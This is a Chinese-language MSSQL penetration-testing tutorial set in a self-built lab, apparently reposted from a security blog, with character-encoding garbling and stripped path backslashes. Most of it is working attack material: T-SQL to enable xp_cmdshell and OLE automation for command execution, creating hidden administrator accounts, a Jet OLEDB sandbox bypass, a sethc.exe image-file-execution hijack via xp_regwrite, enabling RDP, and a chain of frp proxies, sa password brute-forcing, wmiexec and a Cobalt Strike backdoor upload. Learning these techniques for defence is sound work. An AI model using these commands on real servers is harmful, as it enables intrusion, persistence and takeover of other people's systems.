本篇文章是MSSQL數(shù)據(jù)庫漏洞提權(quán)復(fù)現(xiàn)記錄,記錄了實(shí)際中常見的MSSQL數(shù)據(jù)庫漏洞并如何利用,對(duì)漏洞底層的原理簡單分析,主要分為五個(gè)部分:MSSQL簡介、MSSQL各版本安裝、MSSQL基本操作、MSSQL漏洞復(fù)現(xiàn)提權(quán)和自建內(nèi)網(wǎng)環(huán)境實(shí)戰(zhàn)。
本篇文章由淺入深地介紹了系統(tǒng)存儲(chǔ)過程控制不當(dāng)導(dǎo)致提權(quán)如sp_oacreate和sp_oamethod、擴(kuò)展存儲(chǔ)過程使用不當(dāng)提權(quán)如xp_cmdshell和xp_regwrite、沙盒提權(quán)及映像劫持。在學(xué)習(xí)MSSQL過程中也閱讀了幾十篇中英文MSSQL相關(guān)技術(shù)文章,最終按照作者我的思路進(jìn)行總結(jié),相關(guān)參考文章也在文中有列出。此外,文中可能會(huì)出現(xiàn)部分錯(cuò)誤,望讀者指出,謝謝。接著,開始我們的MSSQL數(shù)據(jù)庫滲透學(xué)習(xí)?。?/p>
一、MSSQL簡介
MSSQL(MicroSoft SQL Server數(shù)據(jù)庫)
,是微軟開發(fā)的關(guān)系型數(shù)據(jù)庫管理系統(tǒng)DBMS
,是一個(gè)較大型的數(shù)據(jù)庫,提供數(shù)據(jù)庫的從服務(wù)器到終端的完整的解決方案,數(shù)據(jù)庫管理系統(tǒng)SSMS(SQL Server Managerment Studio)
,是一個(gè)用于建立、使用和維護(hù)數(shù)據(jù)庫的集成開發(fā)環(huán)境。端口號(hào):1433
SA用戶
在搭建時(shí),選擇使用SQL Server
身份驗(yàn)證會(huì)創(chuàng)建SA賬戶并設(shè)置密碼,SA(System Administrator)
表示系統(tǒng)管理員,在SQLServer2019
之前的SA用戶都是系統(tǒng)最高權(quán)限用戶SYSTEM
,但在2019版本時(shí)為普通數(shù)據(jù)庫用戶mssqlserver
,是一個(gè)低權(quán)用戶。
MSSQL權(quán)限級(jí)別
sa權(quán)限:數(shù)據(jù)庫操作,文件管理,命令執(zhí)行,注冊(cè)表讀取等價(jià)于system,SQLServer數(shù)據(jù)庫的最高權(quán)限
db權(quán)限:文件管理,數(shù)據(jù)庫操作等價(jià)于 users-administrators
public權(quán)限:數(shù)據(jù)庫操作等價(jià)于 guest-users
存儲(chǔ)過程
MSSQL的存儲(chǔ)過程是一個(gè)可編程的函數(shù),它在數(shù)據(jù)庫中創(chuàng)建并保存,是使用T_SQL編寫的代碼段,目的在于能夠方便的從系統(tǒng)表中查詢信息。數(shù)據(jù)庫中的存儲(chǔ)過程可以看做是對(duì)編程中面向?qū)ο蠓椒ǖ?a href="http://www.delux-kingway.cn/analog/" target="_blank">模擬。它允許控制數(shù)據(jù)的訪問方式,使用execute
命令執(zhí)行存儲(chǔ)過程。(可以將存儲(chǔ)過程理解為函數(shù)調(diào)用的過程)
簡單來說,存儲(chǔ)過程就是一條或者多條sql語句的集合,可視為批處理文件
存儲(chǔ)過程可分為三類:系統(tǒng)存儲(chǔ)過程:主要存儲(chǔ)在master數(shù)據(jù)庫中,以”sp_“為前綴,在任何數(shù)據(jù)庫中都可以調(diào)用,在調(diào)用的時(shí)候不必在存儲(chǔ)過程前加上數(shù)據(jù)庫名擴(kuò)展存儲(chǔ)過程:是對(duì)動(dòng)態(tài)鏈接庫(DLL)函數(shù)的調(diào)用,主要是用于客戶端與服務(wù)器端或客戶端之間進(jìn)行通信的,以“xp**_“為前綴,使用方法與系統(tǒng)存儲(chǔ)過程類似用戶定義的存儲(chǔ)過程:**是SQLServer的使用者編寫的存儲(chǔ)過程
系統(tǒng)數(shù)據(jù)庫
系統(tǒng)數(shù)據(jù)庫默認(rèn)創(chuàng)建時(shí)就會(huì)存在,有以下4種
數(shù)據(jù)庫名 | 含義 |
---|---|
master | master數(shù)據(jù)庫控制SQLserver數(shù)據(jù)庫所有方面。這個(gè)數(shù)據(jù)庫中包括了所有的配置信息、用戶登錄信息、當(dāng)前正在服務(wù)器中運(yùn)行的過程的信息等。 |
model | model數(shù)據(jù)庫是建立所有用戶數(shù)據(jù)庫時(shí)的模版。新建數(shù)據(jù)庫時(shí),SQLserver會(huì)把model數(shù)據(jù)庫中的所有對(duì)象建立一份拷貝并移到新數(shù)據(jù)庫中。在模版對(duì)象被拷貝到新的用戶數(shù)據(jù)庫中之后,該數(shù)據(jù)庫的所有多余空間都將被空頁填滿。 |
msdb | msdb數(shù)據(jù)庫是SQLserver數(shù)據(jù)庫中的特例,若想查看此數(shù)據(jù)庫的實(shí)際定義,會(huì)發(fā)現(xiàn)它其實(shí)是一個(gè)用戶數(shù)據(jù)庫。所有的任務(wù)調(diào)度、報(bào)警、操作員都存儲(chǔ)在msdb數(shù)據(jù)庫中。該庫的另一個(gè)功能是用來存儲(chǔ)所有備份歷史。SQLserver agent將會(huì)使用這個(gè)庫。 |
tempdb | 據(jù)庫是一個(gè)非常特殊的數(shù)據(jù)庫,供所有來訪問你的SQL Server的用戶使用。這個(gè)庫用來保存所有的臨時(shí)表、存儲(chǔ)過程和其他SQL Server建立的臨時(shí)用的東西。例如,排序時(shí)要用到tempdb數(shù)據(jù)庫。數(shù)據(jù)被放進(jìn)tempdb數(shù)據(jù)庫,排完序后再把結(jié)果返回給用戶。每次SQL Server重新啟動(dòng),它都會(huì)清空tempdb數(shù)據(jù)庫并重建。永遠(yuǎn)不要在tempdb數(shù)據(jù)庫建立需要永久保存的表。 |
MSSQL注入
MSSQL注入與普通的MYSQL注入類似,但在數(shù)據(jù)結(jié)構(gòu)特定函數(shù)名稱上有些差異。而使用經(jīng)過語法擴(kuò)展的T-SQL語句,在實(shí)現(xiàn)更為復(fù)雜的業(yè)務(wù)的同時(shí),也帶來了安全上的危險(xiǎn)。因此MSSQL在后續(xù)提權(quán)部分,與MYSQL有著較大的差異。由于該數(shù)據(jù)庫與Windows平臺(tái)的高契合度,使其可以使用Windows身份驗(yàn)證(或SA管理員賬號(hào)),這就導(dǎo)致其運(yùn)行權(quán)限較高。因此,若后續(xù)權(quán)限沒有限制準(zhǔn)確,WEB代碼又存在SQL注入時(shí),就會(huì)給整個(gè)服務(wù)器的安全帶來嚴(yán)重威脅,其后果一般比Mysql被攻破要嚴(yán)重。
二、軟件安裝及環(huán)境搭建
1、MSSQL 2019安裝
Win2016 + MSSQL2019
下載地址:https://www.microsoft.com/zh-cn/sql-server/sql-server-downloads
選擇SQL Server 2019 Express Edition版本
安裝過程百度即可,這里記錄其中較關(guān)鍵的地方:
安裝類型選擇-基本(B)
實(shí)例配置選擇-默認(rèn)實(shí)例
服務(wù)器配置選擇-混合模式(SQL Server身份驗(yàn)證和Windows 身份驗(yàn)證)(M)
配置SQL Server系統(tǒng)管理員SA的密碼(我設(shè)置密碼為123.com)
安裝SQL Server Managerment Studio|SSMS
安裝完SQL Server Express版本后,可以直接選擇安裝SSMS
在點(diǎn)擊"安裝SSMS"彈出網(wǎng)頁內(nèi)選擇下載SSMS
點(diǎn)擊該程序,默認(rèn)安裝即可
2、MSSQL 2008 x64 安裝
Win2016 + MSSQL2008
下載地址:
https://www.microsoft.com/zh-CN/download/details.aspx?id=30438
下載如圖兩個(gè)文件
先安裝SQLEXPR_x64_CHS.exe
基本安裝過程類似2019的,記錄下重要部分
選擇-全新安裝
實(shí)例配置選擇-默認(rèn)實(shí)例
服務(wù)器配置選擇-混合模式(SQL Server身份驗(yàn)證和Windows 身份驗(yàn)證)(M)
配置SQL Server系統(tǒng)管理員SA的密碼(我設(shè)置密碼為123.com)
再安裝SQLManagementStudio_x64_CHS.exe
提示沒有安裝.NET3.5
,按下文步驟即可
https://www.cnblogs.com/labster/p/14863516.html
之后選擇全新安裝,默認(rèn)下一步即可
3、MSSQL 2008 x32 安裝
Win2003 + MSSQL2008
下載地址:
https://www.microsoft.com/zh-CN/download/details.aspx?id=30438
這里的32位系統(tǒng)環(huán)境用于復(fù)現(xiàn)第四部分的沙盒漏洞提權(quán),相較于前兩個(gè)數(shù)據(jù)庫的安裝,這里遇到了不少坑,較詳細(xì)介紹下。使用Win2003 x32
系統(tǒng)作為復(fù)現(xiàn)操作系統(tǒng),由于年代久遠(yuǎn)加上03系統(tǒng)裝08軟件,記錄下幾個(gè)坑點(diǎn)。
1)啟動(dòng)SQLEXPR_x86_CHS.exe
提示缺失程序
2)安裝.NET 3.5
慢慢等待5分鐘
3)安裝Windows_Installer4.5x86.exe
默認(rèn)下一步
4)安裝powershell2003x86-CHS.exe
其余安裝過程類似,就不詳細(xì)介紹了,附上安裝工具包:
https://pan.baidu.com/s/15CngCBWign9fY1IrSt4_jg
密碼:fm4v
三、MSSQL基本操作
1、SSMS連接數(shù)據(jù)庫
連接本地?cái)?shù)據(jù)庫,在之前的設(shè)置中,我們?cè)O(shè)置了混雜模式,即可以使用SQL Server 身份驗(yàn)證或 Windows 身份驗(yàn)證登陸進(jìn)數(shù)據(jù)庫,點(diǎn)擊啟動(dòng)SSMS
服務(wù)器名稱可以填寫主機(jī)名或本地ip地址 登錄名和密碼為sa:123.com
注意點(diǎn):可以一開始會(huì)出現(xiàn)使用主機(jī)名可以登入上,但是使用ip登入不上的情況可以參考如下文章解決
https://blog.csdn.net/weixin_30740295/article/details/95535927
MSSQL設(shè)置允許通過ip登陸
(以2019版本為例,其余版本類似)
1)打開配置管理器
2)協(xié)議TCP/IP設(shè)置為開啟
在SQL Server 網(wǎng)絡(luò)配置
下的MSSQLSERVER的協(xié)議
里啟用TCP/IP協(xié)議
3)開啟遠(yuǎn)程登陸
先用主機(jī)名進(jìn)行登陸
右鍵,打開數(shù)據(jù)庫的屬性
在連接
處勾選允許遠(yuǎn)程連接到此服務(wù)器
4)關(guān)閉防火墻
這里用于滲透測試,直接全部關(guān)了
5)重啟SSMS服務(wù)
打開管理員模式下的CMD
net stop mssqlserver
net start mssqlserver
之后就可以使用IP進(jìn)行登陸
2、常見語句
右鍵系統(tǒng)數(shù)據(jù)庫,新建查詢
查看數(shù)據(jù)庫版本
select @@VERSION
獲取MSSQL中的所有數(shù)據(jù)庫名
SELECT name FROM MASter..SysDatabASes ORDER BY name
查詢所有數(shù)據(jù)庫中的表名
SELECT SysObjects.name AS Tablename FROM sysobjects WHERE xtype = 'U' and sysstat<200
其余見MSSQL基礎(chǔ)學(xué)習(xí)部分,自行百度
exec xp_dirtree 'c:' # 列出所有c:文件、目錄、子目錄
exec xp_dirtree 'c:',1 # 只列c:目錄
exec xp_dirtree 'c:',1,1 # 列c:目錄、文件
exec xp_subdirs 'C:'; # 只列c:目錄
select is_srvrolemember('sysadmin') # 判斷是否是SA權(quán)限
select is_member('db_owner') # 判斷是否是db_owner權(quán)限
select is_srvrolemember('public') # 判斷是否是public權(quán)限
EXEC sp_configure 'Ole Automation Procedures' #查看OLE Automation Procedures的當(dāng)前設(shè)置
四、MSSQL漏洞復(fù)現(xiàn)
1、使用xp_cmdshell進(jìn)行提權(quán)
xp_cmdshell默認(rèn)在mssql2000中是開啟的,在mssql2005之后默認(rèn)禁止,但未刪除
0x01 xp_cmdshell簡介
xp``_cmdshell
是Sql Server
中的一個(gè)組件,將命令字符串作為操作系統(tǒng)命令 shell 執(zhí)行,并以文本行的形式返回所有輸出。通常在拿到sa口令之后,可以通過xp``_cmdshell
來進(jìn)行提權(quán)
影響范圍:
只要該數(shù)據(jù)庫存在該組件,就可以利用
0x02 xp_cmdshell使用
1)查看xp_cmdshell狀態(tài)
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
返回1表示xp``_cmdshell
組件啟用
也可以手動(dòng)查看,右鍵數(shù)據(jù)庫,打開Facets
在方面中選擇外應(yīng)用配置器
,在方面屬性中查看XP``CmdShellEnabled
屬性為True
2)開啟xp_cmdshell組件
EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
同樣,關(guān)閉該組件的命令為
EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',0
RECONFIGURE
3)利用xp_cmdshell執(zhí)行命令
執(zhí)行系統(tǒng)命令
以下幾條命令格式都可以用于執(zhí)行系統(tǒng)命令
exec xp_cmdshell "whoami"
master..xp_cmdshell 'whoami' (2008版上好像用不了)
EXEC master..xp_cmdshell "whoami"
EXEC master.dbo.xp_cmdshell "ipconfig"
注意點(diǎn):在MSSQL2019版本中,會(huì)使用mssqlserver用戶而非system用戶
0x03 模擬實(shí)戰(zhàn):遠(yuǎn)程命令執(zhí)行創(chuàng)建用戶
這里通過演示遠(yuǎn)程命令執(zhí)行來模擬實(shí)戰(zhàn)情況,遠(yuǎn)程MSSQL數(shù)據(jù)庫版本為2008版 環(huán)境信息:
遠(yuǎn)程MSSQL數(shù)據(jù)庫的IP:192.168.112.166
假設(shè)已經(jīng)爆破得到了sa密碼
創(chuàng)建用戶聯(lián)合wmiexec拿到shell
exec master..xp_cmdshell "net user test12 123.com /add"
exec master..xp_cmdshell "net localgroup administrators test12 /add"
exec master..xp_cmdshell "net user test12"
可以看到用戶添加成功
后續(xù)可以登陸用戶上傳木馬,上線CS,詳情見本文第五部分:二級(jí)內(nèi)網(wǎng)MSSQL滲透|上線CS
0x04 保護(hù)措施
將該xp_cmdshell
存儲(chǔ)過程刪除即可
exec sp_dropextendedproc 'xp_cmdshell'
被刪除后,重新添加xp``_cmdshell
存儲(chǔ)過程語句
EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int;
sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll';
若想徹底刪除xp_cmdshell
擴(kuò)展存儲(chǔ)過程,建議在C盤里直接搜索xplog70.dll
,然后刪除xp_cmdshell
。
2、使用sp_oacreate進(jìn)行提權(quán)|無回顯
0x01 sp_oacreate簡介
調(diào)用wscript.shel執(zhí)行命令
sp_oacreate
系統(tǒng)存儲(chǔ)過程可以用于對(duì)文件刪除、復(fù)制、移動(dòng)等操作,還可以配合sp_oamethod
系統(tǒng)存儲(chǔ)過程調(diào)用系統(tǒng)wscript.shell
來執(zhí)行系統(tǒng)命令。sp_oacreate
和sp_oamethod
兩個(gè)過程分別用來創(chuàng)建和執(zhí)行腳本語言。
系統(tǒng)管理員使用sp_configure
啟用sp_oacreate
和sp_oamethod
系統(tǒng)存儲(chǔ)過程對(duì)OLE自動(dòng)化過程的訪問(OLE Automation Procedures)
在效果方面,sp_oacreate、sp_oamethod
兩個(gè)過程和xp_cmdshell
過程功能類似,因此可以替換使用!
利用條件:
1.已獲取到sqlserver sysadmin權(quán)限用戶的賬號(hào)與密碼且未降權(quán)(如2019版本sa用戶權(quán)限為mssqlserver,已降權(quán))
2.sqlserver允許遠(yuǎn)程連接
3.OLE Automation Procedures選項(xiàng)開啟
0x02 sp_oacreate使用
1)查看sp_oacreate狀態(tài)
select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE';
返回1表示存在sp_oacreate
系統(tǒng)存儲(chǔ)過程
2)啟用OLE Automation Procedures選項(xiàng)
當(dāng)啟用 OLE Automation Procedures 時(shí),對(duì) sp_OACreate 的調(diào)用將會(huì)啟動(dòng) OLE 共享執(zhí)行環(huán)境。
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ole Automation Procedures',1;
reconfigure;
類似的,關(guān)閉組件命令
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ole Automation Procedures',0;
reconfigure;
3)利用sp_oacreate和sp_oamethod執(zhí)行命令
寫入文件
declare @shell int exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'run',null,'c:windowssystem32cmd.exe /c whoami >c:\sqltest.txt';
回顯0表示成功
由于這里是無回顯的命令執(zhí)行,到另一臺(tái)主機(jī)上查看效果,成功寫入。
刪除文件
declare @result int
declare @fso_token int
exec sp_oacreate 'scripting.filesystemobject', @fso_token out
exec sp_oamethod @fso_token,'deletefile',null,'c:sqltest.txt'
exec sp_oadestroy @fso_token
可以看到文件已刪除
同樣,也可以使用4.1中的創(chuàng)建用戶進(jìn)行登陸拿shell。
3、利用SQL Server 沙盒提權(quán)
0x01 SQL Server 沙盒簡介
沙盒模式是一種安全功能,用于限制數(shù)據(jù)庫只對(duì)控件和字段屬性中的安全且不含惡意代碼的表達(dá)式求值。如果表達(dá)式不使用可能以某種方式損壞數(shù)據(jù)的函數(shù)或?qū)傩裕ㄈ鏚ill 和 Shell 之類的函數(shù)),則可認(rèn)為它是安全的。當(dāng)數(shù)據(jù)庫以沙盒模式運(yùn)行時(shí),調(diào)用這些函數(shù)的表達(dá)式將會(huì)產(chǎn)生錯(cuò)誤消息。
沙盒提權(quán)的原理就是jet.oledb
(修改注冊(cè)表)執(zhí)行系統(tǒng)命令。數(shù)據(jù)庫通過查詢方式調(diào)用mdb
文件,執(zhí)行參數(shù),繞過系統(tǒng)本身自己的執(zhí)行命令,實(shí)現(xiàn)mdb
文件執(zhí)行命令。
利用前提:
1.需要
Microsoft.Jet.OLEDB.4.0
一般在32位系統(tǒng)才可以,64位機(jī)需要12.0,較復(fù)雜
2.dnary.mdb
和ias.mdb
兩個(gè)文件 在win2003
上默認(rèn)存在,也可自行準(zhǔn)備
0x02 沙盒提權(quán)
復(fù)現(xiàn)環(huán)境
SQL Server2008 (Win2003-x32)
IP: 192.168.112.173
1)測試 jet.oledb 能否使用
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:windowssystem32iasias.mdb','select shell("cmd.exe /c whoami")')
2)開啟Ad Hoc Distributed Queries組件
exec sp_configure 'show advanced options',1 ;
reconfigure ;
exec sp_configure 'Ad Hoc Distributed Queries',1 ;
reconfigure;
類似的,關(guān)閉組件命令
exec sp_configure 'show advanced options',1 ;
reconfigure ;
exec sp_configure 'Ad Hoc Distributed Queries',0 ;
reconfigure;
3)關(guān)閉沙盒模式
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',0;
沙盒模式`SandBoxMode`參數(shù)含義(默認(rèn)是2)
0:在任何所有者中禁止啟用安全模式
1:為僅在允許范圍內(nèi)
2:必須在access模式下
3:完全開啟
查看命令:
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines', 'SandBoxMode'
關(guān)閉命令:
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',2
4)執(zhí)行命令
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:windowssystem32iasias.mdb','select shell("cmd.exe /c whoami >c:\sqltest.txt ")');
在win2003的c盤上看到已經(jīng)創(chuàng)建了該文件,命令執(zhí)行成功
同樣,可以創(chuàng)建用戶
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:windowssystem32iasias.mdb','select shell("net user testq QWEasd123 /add")');
Select * From OpenRowSet('microsoft.jet.oledb.4.0',';Database=c:windowssystem32iasias.mdb','select shell("net localgroup administrators testq /add")');
Select * From OpenRowSet('microsoft.jet.oledb.4.0',';Database=c:windowssystem32iasias.mdb','select shell("net user testq")');
4、使用xp_regwrite提權(quán) | 映像劫持提權(quán)
2008以上,05未測試
0x01 簡介
通過使用xp_regwrite
存儲(chǔ)過程對(duì)注冊(cè)表進(jìn)行修改,替換成任意值,造成鏡像劫持。
前提條件:
1.未禁止注冊(cè)表編輯(即寫入功能)
2.xp_regwrite啟用
0x02 映像劫持提權(quán)
1)查看xp_regwrite是否啟用
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_regwrite'
2)xp_regwrite開啟與關(guān)閉
EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_regwrite',1
RECONFIGURE
2)利用regwrite函數(shù)修改組注冊(cè)表進(jìn)行劫持
EXEC master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:windowssystem32cmd.exe'
2)查看是否修改成功文件
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe','Debugger'
顯示已修改為cmd.exe
在目標(biāo)主機(jī)上查看,結(jié)果一致
3)驗(yàn)證是否成功
連按5次粘滯鍵,彈出cmd框
拓展:
上面對(duì)只是對(duì)粘滯鍵進(jìn)行修改,類似的,可以在注冊(cè)表中進(jìn)行其他操作
刪除指定注冊(cè)表鍵值對(duì)
刪除粘滯鍵的鍵值
xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe'
到目標(biāo)主機(jī)上查看,發(fā)現(xiàn)sethc.exe在注冊(cè)表中的值已刪除
開啟3389端口這里的xp``_regwrite
為向注冊(cè)表中寫數(shù)據(jù)
execmaster.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEMCurrentControlSetControlTerminalServer','fDenyTSConnections','REG_DWORD',0;
exec master..xp_cmdshell "REG ADD 'HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server' /v fDenyTSConnections /t REG_DWORD /d 0"
在注冊(cè)表中也可以看到3389端口被打開
0x03 參考
https://sqlandme.com/tag/xp_regwrite/
IFEO映像劫持在實(shí)戰(zhàn)中的使用 - 知乎 (zhihu.com)
5、使用sp_makewebtask寫文件
2005
一般可以用于web網(wǎng)站,寫入后門文件
1)查看該組件
EXEC sp_configure 'Web Assistant Procedures'
2)開啟該組件
exec sp_configure 'Web Assistant Procedures', 1; RECONFIGURE
報(bào)錯(cuò),在SQLServer2005后好像都沒有這個(gè)組件了
6、拓展&小結(jié)
常見的存儲(chǔ)過程:
xp_cmdshell 執(zhí)行系統(tǒng)命令
xp_fileexist 確定一個(gè)文件是否存在。
xp_getfiledetails 獲得文件詳細(xì)資料。
xp_dirtree 展開你需要了解的目錄,獲得所有目錄深度。
Xp_getnetname 獲得服務(wù)器名稱。
注冊(cè)表訪問的存儲(chǔ)過程
Xp_regwrite
Xp_regread
Xp_regdeletekey
Xp_regaddmultistring
Xp_regdeletevalue
Xp_regenumvalues
Xp_regremovemultistring
OLE自動(dòng)存儲(chǔ)過程
Sp_OACreate Sp_OADestroy Sp_OAGetErrorInfo Sp_OAGetProperty
Sp_OAMethod Sp_OASetProperty Sp_OAStop
五、二級(jí)內(nèi)網(wǎng)MSSQL滲透|上線CS
這里模擬搭建二級(jí)內(nèi)網(wǎng)環(huán)境,順便復(fù)習(xí)下二級(jí)frp代理的搭建和內(nèi)網(wǎng)穿透上線CS。環(huán)境配置信息如下
公網(wǎng)服務(wù)器
121.xx.xx.xx
Web服務(wù)器(目標(biāo)站點(diǎn))
192.168.73.137(對(duì)外)
10.10.10.101(對(duì)內(nèi))
域控
10.10.10.10
10.12.10.5
MSSQL服務(wù)器
10.12.10.3
這里假設(shè)已經(jīng)獲取到了Web服務(wù)器和域控的權(quán)限
1、搭建二級(jí)代理
1)在域控上傳frpc.exe
和frpc.ini
文件
#frpc.ini
[common]
server_addr = 10.10.10.101
server_port = 12010 # 連接端口
[http_proxy]
type = tcp
remote_port = 1084 # 代理端口
plugin = socks5
2)在Web服務(wù)器上傳frpc.exe、frpc.ini、frps.exe、frps.ini
文件
# frps.ini
[common]
bind_addr = 10.10.10.101
bind_port = 12010
# frpc.ini
[common]
server_addr = 121.xx.xx.xx
server_port = 12010
[http_proxy]
type = tcp
local_ip = 10.10.10.101
local_port = 1084
remote_port = 1084
3)在公網(wǎng)服務(wù)器上傳frps.exe
和frps.ini
#frps.ini
[common]
bind_addr = 0.0.0.0
bind_port = 12010
4)依次連接(由內(nèi)到外)
web服務(wù)器
frps.exe -c frps.ini
域控
frpc.exe -c frpc.ini
公網(wǎng)服務(wù)器
frps.exe -c frps.ini
web服務(wù)器
frpc.exe -c frpc.ini
2、爆破sa密碼
使用fscan掃描,順便進(jìn)行弱口令爆破,成功爆破出sa密碼
也可以使用msf模塊爆破
3、設(shè)置代理|遠(yuǎn)程登陸MSSQL
使用Proxifier設(shè)置代理,添加代理服務(wù)器信息
連接MSSQL數(shù)據(jù)庫
成功連接!!
4、使用xp_cmdshell創(chuàng)建用戶
這里也可以使用其他方法命令執(zhí)行
1)查看開啟xp_cmdshell組件
EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
2)查看當(dāng)前權(quán)限
exec master..xp_cmdshell "whoami"
system權(quán)限,可以創(chuàng)建用戶
3)創(chuàng)建用戶并添加至管理員組
創(chuàng)建sqltest
用戶,密碼為123.com
exec master..xp_cmdshell "net user test12 123.com /add"
exec master..xp_cmdshell "net localgroup administrators test12 /add"
exec master..xp_cmdshell "net user test12"
4)CS生成后門文件(中轉(zhuǎn)監(jiān)聽器)
在域控上建立中轉(zhuǎn)監(jiān)聽器
將生成好后的文件拷貝到kali上
5)使用wmiexec工具遠(yuǎn)程登陸
proxychains python3 wmiexec.py tset12:123.com@10.12.10.3
上傳木馬文件
6)成功上線CS
六、總結(jié)
本文介紹了幾種提權(quán)拿shell的方法,主要是利用到了系統(tǒng)存儲(chǔ)過程和擴(kuò)展存儲(chǔ)過程。最常見的xp_cmdshell可以用于執(zhí)行系統(tǒng)命令,xp_regwrite、xp_regread用于注冊(cè)表的讀寫進(jìn)行映像劫持,sp_oacreate、sp_oamethod基于OLE Automation Procedures執(zhí)行系統(tǒng)命令,不過無回顯,基于沙盒的提權(quán)限制條件比較多且復(fù)雜,一般很少使用。
審核編輯 :李倩
-
數(shù)據(jù)庫
+關(guān)注
關(guān)注
7文章
3853瀏覽量
64758 -
函數(shù)
+關(guān)注
關(guān)注
3文章
4349瀏覽量
63027 -
Shell
+關(guān)注
關(guān)注
1文章
366瀏覽量
23478
原文標(biāo)題:數(shù)據(jù)庫安全之MSSQL滲透
文章出處:【微信號(hào):菜鳥學(xué)信安,微信公眾號(hào):菜鳥學(xué)信安】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。
發(fā)布評(píng)論請(qǐng)先 登錄
相關(guān)推薦
用Delphi做中BDE連接SQL數(shù)據(jù)庫(學(xué)習(xí)Delphi環(huán)境中數(shù)據(jù)庫操作的方法和數(shù)據(jù)庫應(yīng)用程序
安全數(shù)據(jù)庫如何管理
數(shù)據(jù)庫安全性概述
數(shù)據(jù)庫管理系統(tǒng)層次安全技術(shù)
數(shù)據(jù)庫有什么安全需求?需要什么安全技術(shù)?
數(shù)據(jù)庫學(xué)習(xí)入門資料之如何進(jìn)行數(shù)據(jù)庫設(shè)計(jì)
![<b class='flag-5'>數(shù)據(jù)庫</b>學(xué)習(xí)入門資料<b class='flag-5'>之</b>如何進(jìn)行<b class='flag-5'>數(shù)據(jù)庫</b>設(shè)計(jì)](https://file.elecfans.com/web1/M00/69/11/o4YBAFvRgLKAFMKHAAAhnoW_1Ms060.png)
什么是數(shù)據(jù)庫安全性數(shù)據(jù)庫安全性的詳細(xì)資料總結(jié)
![什么是<b class='flag-5'>數(shù)據(jù)庫</b><b class='flag-5'>安全</b>性<b class='flag-5'>數(shù)據(jù)庫</b><b class='flag-5'>安全</b>性的詳細(xì)資料總結(jié)](https://file.elecfans.com/web1/M00/69/57/o4YBAFvYGEWASzGTAAJMgWyS5PU446.png)
數(shù)據(jù)庫系統(tǒng)概論之數(shù)據(jù)庫管理系統(tǒng)詳細(xì)資料概述
![<b class='flag-5'>數(shù)據(jù)庫</b>系統(tǒng)概論<b class='flag-5'>之</b><b class='flag-5'>數(shù)據(jù)庫</b>管理系統(tǒng)詳細(xì)資料概述](https://file.elecfans.com/web1/M00/6D/B1/pIYBAFvtHdqAOj4xAABbNGCchK4066.png)
數(shù)據(jù)庫系統(tǒng)概論之如何進(jìn)行數(shù)據(jù)庫編程的資料概述
![<b class='flag-5'>數(shù)據(jù)庫</b>系統(tǒng)概論<b class='flag-5'>之</b>如何進(jìn)行<b class='flag-5'>數(shù)據(jù)庫</b>編程的資料概述](https://file.elecfans.com/web1/M00/6D/49/o4YBAFvtHrKAMP2rAABK2Tkh_DM005.png)
關(guān)于數(shù)據(jù)庫安全技術(shù)的概述
MSSQL數(shù)據(jù)庫服務(wù)器的命令查看存儲(chǔ)過程詳細(xì)資料說明
上位機(jī)開發(fā)——數(shù)據(jù)庫系列問題
![上位機(jī)開發(fā)——<b class='flag-5'>數(shù)據(jù)庫</b>系列問題](https://file.elecfans.com/web1/M00/D9/4E/pIYBAF_1ac2Ac0EEAABDkS1IP1s689.png)
云數(shù)據(jù)庫和普通數(shù)據(jù)庫區(qū)別?|PetaExpress云端數(shù)據(jù)庫
數(shù)據(jù)庫數(shù)據(jù)恢復(fù)—MSSQL Server報(bào)錯(cuò)“附加數(shù)據(jù)庫錯(cuò)誤823”的數(shù)據(jù)恢復(fù)案例
![<b class='flag-5'>數(shù)據(jù)庫</b><b class='flag-5'>數(shù)據(jù)</b>恢復(fù)—<b class='flag-5'>MSSQL</b> Server報(bào)錯(cuò)“附加<b class='flag-5'>數(shù)據(jù)庫</b>錯(cuò)誤823”的<b class='flag-5'>數(shù)據(jù)</b>恢復(fù)案例](https://file1.elecfans.com//web2/M00/AD/81/wKgaomVN576AJwQvAABVFVrO4eE716.jpg)
評(píng)論